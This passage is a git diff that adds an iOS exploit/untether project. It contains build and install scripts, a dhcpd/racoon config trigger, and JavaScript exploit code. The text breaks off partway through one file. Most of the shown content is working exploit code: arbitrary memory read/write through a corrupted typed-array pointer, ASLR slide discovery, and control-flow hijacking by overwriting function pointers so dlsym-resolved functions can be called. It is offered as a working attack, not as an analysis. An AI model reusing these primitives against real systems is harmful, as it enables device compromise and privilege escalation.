diff options
| -rw-r--r-- | .gitignore | 10 | ||||
| -rwxr-xr-x | build.sh | 35 | ||||
| -rw-r--r-- | ent.xml | 8 | ||||
| -rw-r--r-- | exp.js | 675 | ||||
| -rwxr-xr-x | exploit.conf | 22 | ||||
| -rwxr-xr-x | install.sh | 12 | ||||
| -rw-r--r-- | js/call.js | 47 | ||||
| -rw-r--r-- | js/int64.js | 169 | ||||
| -rw-r--r-- | js/libu8.js | 56 | ||||
| -rw-r--r-- | js/main.js | 71 | ||||
| -rw-r--r-- | js/mem.js | 147 | ||||
| -rw-r--r-- | js/str.js | 105 | ||||
| -rw-r--r-- | js/utils.js | 78 | ||||
| -rwxr-xr-x | src/common.h | 15 | ||||
| -rwxr-xr-x | src/ip_tools.c | 24 | ||||
| -rwxr-xr-x | src/ip_tools.h | 8 | ||||
| -rw-r--r-- | src/main.c | 497 | ||||
| -rw-r--r-- | src/patchfinder.c | 805 | ||||
| -rwxr-xr-x | src/patchfinder.h | 14 | ||||
| -rw-r--r-- | src/shit.c | 32 | ||||
| -rw-r--r-- | src/shit.h | 6 | ||||
| -rwxr-xr-x | src/stage0_primitives.c | 46 | ||||
| -rwxr-xr-x | src/stage0_primitives.h | 10 | ||||
| -rwxr-xr-x | src/stage1_primitives.c | 168 | ||||
| -rwxr-xr-x | src/stage1_primitives.h | 19 | ||||
| -rw-r--r-- | src/stage2.c | 400 | ||||
| -rw-r--r-- | src/stage2.h | 40 | ||||
| -rwxr-xr-x | tools/build.sh | 8 | ||||
| -rwxr-xr-x | tools/ent.xml | 15 | ||||
| -rw-r--r-- | tools/envdump.c | 17 | ||||
| -rw-r--r-- | tools/envrun.c | 25 | ||||
| -rwxr-xr-x | tools/fuck_aslr.c | 114 | ||||
| -rw-r--r-- | tools/fuck_aslr2.c | 86 | ||||
| -rwxr-xr-x | tools/fuck_ptr.c | 60 | ||||
| -rwxr-xr-x | tools/jit_all_the_things.c | 11 | ||||
| -rwxr-xr-x | tools/jsc_fun | bin | 0 -> 51824 bytes | |||
| -rw-r--r-- | tools/lol.js | 15 | ||||
| -rwxr-xr-x | tools/test.c | 61 |
38 files changed, 3931 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b447808 --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +bin
+*/bin
+**/bin
+
+bin/*
+*/bin/*
+**/bin/*
+
+usedbins
+usedbins/*
\ No newline at end of file diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..03fbe43 --- /dev/null +++ b/build.sh @@ -0,0 +1,35 @@ +#!/bin/bash + +cat js/*.js > exp.js +echo >> exp.js +echo "main();" >> exp.js + +# build for host +clang -I $(pwd)/inc/ \ + src/main.c \ + src/ip_tools.c \ + src/stage0_primitives.c \ + src/stage1_primitives.c \ + src/patchfinder.c \ + src/stage2.c \ + src/shit.c \ + -o bin/main \ + -D__WHOAMI__="\"$(whoami)\"" \ + -D__PWD__="\"$(pwd)\"" \ + -g + +# build armv7 (for untether install) +xcrun -sdk iphoneos clang -arch armv7 src/main.c \ + src/ip_tools.c \ + src/stage0_primitives.c \ + src/stage1_primitives.c \ + src/patchfinder.c \ + src/stage2.c \ + src/shit.c \ + -o bin/main_arm \ + -D__WHOAMI__="\"$(whoami)\"" \ + -D__PWD__="\"$(pwd)\"" \ + -framework JavaScriptCore \ + -g + +ldid -Sent.xml bin/main_arm
\ No newline at end of file @@ -0,0 +1,8 @@ +<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>get-task-allow</key>
+ <true/>
+</dict>
+</plist>
\ No newline at end of file @@ -0,0 +1,675 @@ +var reserve_addr = 0x1a0000;
+var gettimeofday_addy = 0x34d63d3c;
+var slide = 0x0;
+var base = 0x0;
+
+function get_dyld_shc_slide() {
+ return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+ var dyld_shc_slide = get_dyld_shc_slide();
+ var tmp = read_u32(gettimeofday_addy + dyld_shc_slide);
+ write_u32(gettimeofday_addy + dyld_shc_slide, addy);
+ var d = new Date();
+ write_u32(gettimeofday_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+ var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+ var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+ /*
+ var arg2 = new Int64(r3);
+ arg1 = shiftInt64Left(arg1, 32);
+ arg1 = Add(arg1, r0);
+ arg2 = shiftInt64Left(arg2, 32);
+ arg2 = Add(arg2, r2);
+ */
+
+ arg1d = arg1.asDouble();
+ arg2d = arg2.asDouble();
+
+ delete arg1;
+ delete arg2;
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ tmp = read_u32(0x346afc84 + dyld_shc_slide);
+ write_u32(0x346afc84 + dyld_shc_slide, addy);
+ ret = Math.atan2(arg1d, arg2d);
+ write_u32(0x346afc84 + dyld_shc_slide, tmp);
+
+ delete tmp;
+ delete arg1d;
+ delete arg2d;
+
+ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
+//
+// Tiny module that provides big (64bit) integers.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+// Requires utils.js
+//
+
+// Datatype to represent 64-bit integers.
+//
+// Internally, the integer is stored as a Uint8Array in little endian byte order.
+function Int64(v) {
+ // The underlying byte array.
+ var bytes = new Uint8Array(8);
+
+ switch (typeof v) {
+ case 'number':
+ v = '0x' + Math.floor(v).toString(16);
+ case 'string':
+ if (v.startsWith('0x'))
+ v = v.substr(2);
+ if (v.length % 2 == 1)
+ v = '0' + v;
+
+ var bigEndian = unhexlify(v, 8);
+ bytes.set(Array.from(bigEndian).reverse());
+ break;
+ case 'object':
+ if (v instanceof Int64) {
+ bytes.set(v.bytes());
+ } else {
+ if (v.length != 8)
+ throw TypeError("Array must have excactly 8 elements.");
+ bytes.set(v);
+ }
+ break;
+ case 'undefined':
+ break;
+ default:
+ throw TypeError("Int64 constructor requires an argument.");
+ }
+
+ // Return a double whith the same underlying bit representation.
+ this.asDouble = function() {
+ // Check for NaN
+ if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+ throw new RangeError("Integer can not be represented by a double");
+
+ return Struct.unpack(Struct.float64, bytes);
+ };
+
+ // Return a javascript value with the same underlying bit representation.
+ // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+ // due to double conversion constraints.
+ this.asJSValue = function() {
+ if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
+ throw new RangeError("Integer can not be represented by a JSValue");
+
+ // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+ this.assignSub(this, 0x1000000000000);
+ var res = Struct.unpack(Struct.float64, bytes);
+ this.assignAdd(this, 0x1000000000000);
+
+ return res;
+ };
+
+ // Return the underlying bytes of this number as array.
+ this.bytes = function() {
+ return Array.from(bytes);
+ };
+
+ // Return the byte at the given index.
+ this.byteAt = function(i) {
+ return bytes[i];
+ };
+
+ // Return the value of this number as unsigned hex string.
+ this.toString = function() {
+ return '0x' + hexlify(Array.from(bytes).reverse());
+ };
+
+ // Basic arithmetic.
+ // These functions assign the result of the computation to their 'this' object.
+
+ // Decorator for Int64 instance operations. Takes care
+ // of converting arguments to Int64 instances if required.
+ function operation(f, nargs) {
+ return function() {
+ if (arguments.length != nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ for (var i = 0; i < arguments.length; i++)
+ if (!(arguments[i] instanceof Int64))
+ arguments[i] = new Int64(arguments[i]);
+ return f.apply(this, arguments);
+ };
+ }
+
+ // this = -n (two's complement)
+ this.assignNeg = operation(function neg(n) {
+ for (var i = 0; i < 8; i++)
+ bytes[i] = ~n.byteAt(i);
+
+ return this.assignAdd(this, Int64.One);
+ }, 1);
+
+ // this = a + b
+ this.assignAdd = operation(function add(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) + b.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a - b
+ this.assignSub = operation(function sub(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) - b.byteAt(i) - carry;
+ carry = cur < 0 | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a ^ b
+ this.assignXor = operation(function sub(a, b) {
+ for (var i = 0; i < 8; i++) {
+ bytes[i] = a.byteAt(i) ^ b.byteAt(i);
+ }
+ return this;
+ }, 2);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function(d) {
+ var bytes = Struct.pack(Struct.float64, d);
+ return new Int64(bytes);
+};
+
+// Convenience functions. These allocate a new Int64 to hold the result.
+
+// Return -n (two's complement)
+function Neg(n) {
+ return (new Int64()).assignNeg(n);
+}
+
+// Return a + b
+function Add(a, b) {
+ return (new Int64()).assignAdd(a, b);
+}
+
+// Return a - b
+function Sub(a, b) {
+ return (new Int64()).assignSub(a, b);
+}
+
+// Return a ^ b
+function Xor(a, b) {
+ return (new Int64()).assignXor(a, b);
+}
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+
+// That's all the arithmetic we need for exploiting WebKit.. :)
+/*
+ * turn a uint32_t into a little-endian 4 byte array
+ */
+function u32_to_u8x4(val) {
+ u8x4 = new Uint8Array(0x4);
+
+ val_ = val >>> 0;
+
+ u8x4[0] = ((val_ >> 0) & 0xff);
+ u8x4[1] = ((val_ >> 8) & 0xff);
+ u8x4[2] = ((val_ >> 16) & 0xff);
+ u8x4[3] = ((val_ >> 24) & 0xff);
+
+ return u8x4;
+}
+
+/*
+ * turn a uint16_t into a little-endian 2 byte array
+ */
+function u16_to_u8x2(val) {
+ u8x2 = new Uint8Array(0x2);
+
+ val_ = val >>> 0;
+
+ u8x2[0] = ((val_ >> 0) & 0xff);
+ u8x2[1] = ((val_ >> 8) & 0xff);
+
+ return u8x2;
+}
+
+/*
+ * turn a little-endian 4 byte array into a uint32_t
+ */
+function u8x4_to_u32(buf) {
+ u32 = 0x0;
+
+ u32 += (buf[0] << 0);
+ u32 += (buf[1] << 8);
+ u32 += (buf[2] << 16);
+ u32 += (buf[3] << 24);
+
+ return u32 >>> 0;
+}
+
+/*
+ * turn a little-endian 2 byte array into a uint16_t
+ */
+function u8x2_to_u16(buf) {
+ u16 = 0x0;
+
+ u16 += (buf[0] << 0);
+ u16 += (buf[1] << 8);
+
+ return u16 >>> 0;
+
+}
+var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+ log("we out here in jsc");
+} catch (e) {
+ /*
+ * we don't have log. :(
+ */
+
+ log = function (){};
+}
+
+function main() {
+ /*
+ * get slide and calculate slid base
+ * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+ *
+ * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+ * random byte and shifting it 12 bits, in this case the page size, 4096
+ * (0x1000) bytes), and add it to the unslid base.
+ */
+
+ slide = get_our_slide();
+ base = 0x4000 + (slide << 12);
+ slid = (slide << 12);
+ // call(0x41424344);
+
+ log("slide=0x" + slide.toString(16));
+ log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+ log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+ log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+ write_u32(0x144444, 0x69691337);
+
+ log("writing to first mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("writing to second mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("survived both writes!");
+
+ child.a = parent;
+
+ predicted_jsobject_addy = 0x422200;
+ buf = read_buf(predicted_jsobject_addy, 0x200);
+
+ log("hexdump of predicted jsobject loc:");
+ log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+ var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
+ var shc_slide = read_u32(0x1a0000 + 20 + slid);
+ write_str(0x148000, "get rekt from jsc\0");
+ write_str(0x149000, "syslog\0");
+ write_str(0x14a000, "sleep\0");
+ while (true) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3);
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3);
+ }
+/*
+ for (i = 0; i < 0x1000; i++) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
+ }*/
+
+// call(0x9ac54 + (slide << 12));
+// write_u32(0x1013b8, 0x41414141);
+// call(0x41414141);
+
+// call(0x56ab9 + (slide << 12));
+
+ log("still alive");
+};
+var VECTOR_OFFSET = 0x10;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}
+
+
+function prim_dump_u32(buf) {
+ s = "";
+
+ for (var i = 0; i < buf.length; i += 4) {
+ tmp = [];
+
+ tmp.push(buf[i + 0]);
+ tmp.push(buf[i + 1]);
+ tmp.push(buf[i + 2]);
+ tmp.push(buf[i + 3]);
+
+ s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += ": ";
+ s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
+ if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+ s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
+ s += "\n";
+ val = read_u32(u8x4_to_u32(tmp));
+ if (val >= 0x1800000 && val < 0x1900000) {
+ buf = read_buf(val, 0x100);
+ s += (hexdump(buf, 8, 2, val, 8, "0x"));
+ }
+ }
+ s += "\n";
+ }
+
+ return s;
+}
+
+function pad_left(s, c, n) {
+ s_ = s;
+
+ if (s_.length < n) {
+ s_ = c.repeat(n - s_.length) + s_;
+ }
+
+ return s_;
+}
+
+function str_to_uint8_buf(s) {
+ buf = new Uint8Array(s.length);
+
+ for (i = 0; i < s.length; i++) {
+ buf[i] = s.charCodeAt(i);
+ }
+
+ return buf;
+}
+
+/*
+ * HOLY UGLY BATMAN!
+ */
+function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
+ s = "";
+ if (buf.constructor != Uint8Array) {
+ buf = str_to_uint8_buf(buf);
+ }
+
+ for (i = 0; i < buf.length; i += (cols * col_split)) {
+ cur_base = base + i;
+ s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
+ for (j = i; j < (i + (cols * col_split)); j += col_split) {
+ for (k = j; k < (j + col_split); k++) {
+ val = buf[k];
+ try {
+ s += pad_left(val.toString(16), "0", 2);
+ } catch (e) {
+ s += " ";
+ }
+ }
+ s += " ";
+ }
+
+ for (j = i; j < (i + (cols * col_split)); j++) {
+ val = buf[j];
+
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e; // period
+ }
+
+ chr = String.fromCharCode(val);
+ s += chr;
+ }
+
+ s += "\n";
+ }
+
+ return s;
+}
+
+/*
+ * HEX SHIT
+ */
+function prim_hexdump(buf) {
+ s = "";
+
+ for (i = 0; i < buf.length; i++) {
+ val = buf[i];
+ s += pad_left(val.toString(16), "0", 2);
+ }
+
+ return s;
+}
+//
+// Utility functions.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+ return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+ var res = [];
+ for (var i = 0; i < bytes.length; i++)
+ res.push(hex(bytes[i]));
+
+ return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+ if (hexstr.length % 2 == 1)
+ throw new TypeError("Invalid hex string");
+
+ var bytes = new Uint8Array(hexstr.length / 2);
+ for (var i = 0; i < hexstr.length; i += 2)
+ bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
+
+ return bytes;
+}
+
+function hexdump(data) {
+ if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+ data = Array.from(data);
+
+ var lines = [];
+ for (var i = 0; i < data.length; i += 16) {
+ var chunk = data.slice(i, i+16);
+ var parts = chunk.map(hex);
+ if (parts.length > 8)
+ parts.splice(8, 0, ' ');
+ lines.push(parts.join(' '));
+ }
+
+ return lines.join('\n');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function() {
+ // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+ var buffer = new ArrayBuffer(8);
+ var byteView = new Uint8Array(buffer);
+ var uint32View = new Uint32Array(buffer);
+ var float64View = new Float64Array(buffer);
+
+ return {
+ pack: function(type, value) {
+ var view = type; // See below
+ view[0] = value;
+ return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+ },
+
+ unpack: function(type, bytes) {
+ if (bytes.length !== type.BYTES_PER_ELEMENT)
+ throw Error("Invalid bytearray");
+
+ var view = type; // See below
+ byteView.set(bytes);
+ return view[0];
+ },
+
+ // Available types.
+ int8: byteView,
+ int32: uint32View,
+ float64: float64View
+ };
+})();
+ +main(); diff --git a/exploit.conf b/exploit.conf new file mode 100755 index 0000000..8bf3bf1 --- /dev/null +++ b/exploit.conf @@ -0,0 +1,22 @@ +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/sbin/racoon"); +execute("/usr/libexec/dhcpd", "-q", "-cf" ,"/var/root/exploit.conf"); diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..3dcfb9c --- /dev/null +++ b/install.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +ssh root@localhost -p 2222 "rm main_arm" + +scp -P 2222 bin/main_arm root@localhost:main_arm +scp -P 2222 exp.js root@localhost:exp.js + +ssh root@localhost -p 2222 "./main_arm -f /usr/sbin/racoon -j exp.js -o racoon.conf; cp racoon.conf /etc/racoon/racoon.conf" +#bin/main -f ~/racoon -j ../lol.js | ssh root@localhost -p 2222 "cat > /etc/racoon/racoon.conf" + +#bin/main -f ~/racoon | ssh root@192.168.1.6 "cat > racoon.conf" +#bin/main -f ~/racoon | ssh root@192.168.1.6 "cat > /etc/racoon/racoon.conf" diff --git a/js/call.js b/js/call.js new file mode 100644 index 0000000..cc47e3b --- /dev/null +++ b/js/call.js @@ -0,0 +1,47 @@ +var reserve_addr = 0x1a0000;
+var gettimeofday_addy = 0x34d63d3c;
+var slide = 0x0;
+var base = 0x0;
+
+function get_dyld_shc_slide() {
+ return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+ var dyld_shc_slide = get_dyld_shc_slide();
+ var tmp = read_u32(gettimeofday_addy + dyld_shc_slide);
+ write_u32(gettimeofday_addy + dyld_shc_slide, addy);
+ var d = new Date();
+ write_u32(gettimeofday_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+ var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+ var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+ /*
+ var arg2 = new Int64(r3);
+ arg1 = shiftInt64Left(arg1, 32);
+ arg1 = Add(arg1, r0);
+ arg2 = shiftInt64Left(arg2, 32);
+ arg2 = Add(arg2, r2);
+ */
+
+ arg1d = arg1.asDouble();
+ arg2d = arg2.asDouble();
+
+ delete arg1;
+ delete arg2;
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ tmp = read_u32(0x346afc84 + dyld_shc_slide);
+ write_u32(0x346afc84 + dyld_shc_slide, addy);
+ ret = Math.atan2(arg1d, arg2d);
+ write_u32(0x346afc84 + dyld_shc_slide, tmp);
+
+ delete tmp;
+ delete arg1d;
+ delete arg2d;
+
+ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
diff --git a/js/int64.js b/js/int64.js new file mode 100644 index 0000000..5df1216 --- /dev/null +++ b/js/int64.js @@ -0,0 +1,169 @@ +//
+// Tiny module that provides big (64bit) integers.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+// Requires utils.js
+//
+
+// Datatype to represent 64-bit integers.
+//
+// Internally, the integer is stored as a Uint8Array in little endian byte order.
+function Int64(v) {
+ // The underlying byte array.
+ var bytes = new Uint8Array(8);
+
+ switch (typeof v) {
+ case 'number':
+ v = '0x' + Math.floor(v).toString(16);
+ case 'string':
+ if (v.startsWith('0x'))
+ v = v.substr(2);
+ if (v.length % 2 == 1)
+ v = '0' + v;
+
+ var bigEndian = unhexlify(v, 8);
+ bytes.set(Array.from(bigEndian).reverse());
+ break;
+ case 'object':
+ if (v instanceof Int64) {
+ bytes.set(v.bytes());
+ } else {
+ if (v.length != 8)
+ throw TypeError("Array must have excactly 8 elements.");
+ bytes.set(v);
+ }
+ break;
+ case 'undefined':
+ break;
+ default:
+ throw TypeError("Int64 constructor requires an argument.");
+ }
+
+ // Return a double whith the same underlying bit representation.
+ this.asDouble = function() {
+ // Check for NaN
+ if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+ throw new RangeError("Integer can not be represented by a double");
+
+ return Struct.unpack(Struct.float64, bytes);
+ };
+
+ // Return a javascript value with the same underlying bit representation.
+ // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+ // due to double conversion constraints.
+ this.asJSValue = function() {
+ if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
+ throw new RangeError("Integer can not be represented by a JSValue");
+
+ // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+ this.assignSub(this, 0x1000000000000);
+ var res = Struct.unpack(Struct.float64, bytes);
+ this.assignAdd(this, 0x1000000000000);
+
+ return res;
+ };
+
+ // Return the underlying bytes of this number as array.
+ this.bytes = function() {
+ return Array.from(bytes);
+ };
+
+ // Return the byte at the given index.
+ this.byteAt = function(i) {
+ return bytes[i];
+ };
+
+ // Return the value of this number as unsigned hex string.
+ this.toString = function() {
+ return '0x' + hexlify(Array.from(bytes).reverse());
+ };
+
+ // Basic arithmetic.
+ // These functions assign the result of the computation to their 'this' object.
+
+ // Decorator for Int64 instance operations. Takes care
+ // of converting arguments to Int64 instances if required.
+ function operation(f, nargs) {
+ return function() {
+ if (arguments.length != nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ for (var i = 0; i < arguments.length; i++)
+ if (!(arguments[i] instanceof Int64))
+ arguments[i] = new Int64(arguments[i]);
+ return f.apply(this, arguments);
+ };
+ }
+
+ // this = -n (two's complement)
+ this.assignNeg = operation(function neg(n) {
+ for (var i = 0; i < 8; i++)
+ bytes[i] = ~n.byteAt(i);
+
+ return this.assignAdd(this, Int64.One);
+ }, 1);
+
+ // this = a + b
+ this.assignAdd = operation(function add(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) + b.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a - b
+ this.assignSub = operation(function sub(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) - b.byteAt(i) - carry;
+ carry = cur < 0 | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a ^ b
+ this.assignXor = operation(function sub(a, b) {
+ for (var i = 0; i < 8; i++) {
+ bytes[i] = a.byteAt(i) ^ b.byteAt(i);
+ }
+ return this;
+ }, 2);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function(d) {
+ var bytes = Struct.pack(Struct.float64, d);
+ return new Int64(bytes);
+};
+
+// Convenience functions. These allocate a new Int64 to hold the result.
+
+// Return -n (two's complement)
+function Neg(n) {
+ return (new Int64()).assignNeg(n);
+}
+
+// Return a + b
+function Add(a, b) {
+ return (new Int64()).assignAdd(a, b);
+}
+
+// Return a - b
+function Sub(a, b) {
+ return (new Int64()).assignSub(a, b);
+}
+
+// Return a ^ b
+function Xor(a, b) {
+ return (new Int64()).assignXor(a, b);
+}
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+
+// That's all the arithmetic we need for exploiting WebKit.. :)
diff --git a/js/libu8.js b/js/libu8.js new file mode 100644 index 0000000..fb0b46a --- /dev/null +++ b/js/libu8.js @@ -0,0 +1,56 @@ +/*
+ * turn a uint32_t into a little-endian 4 byte array
+ */
+function u32_to_u8x4(val) {
+ u8x4 = new Uint8Array(0x4);
+
+ val_ = val >>> 0;
+
+ u8x4[0] = ((val_ >> 0) & 0xff);
+ u8x4[1] = ((val_ >> 8) & 0xff);
+ u8x4[2] = ((val_ >> 16) & 0xff);
+ u8x4[3] = ((val_ >> 24) & 0xff);
+
+ return u8x4;
+}
+
+/*
+ * turn a uint16_t into a little-endian 2 byte array
+ */
+function u16_to_u8x2(val) {
+ u8x2 = new Uint8Array(0x2);
+
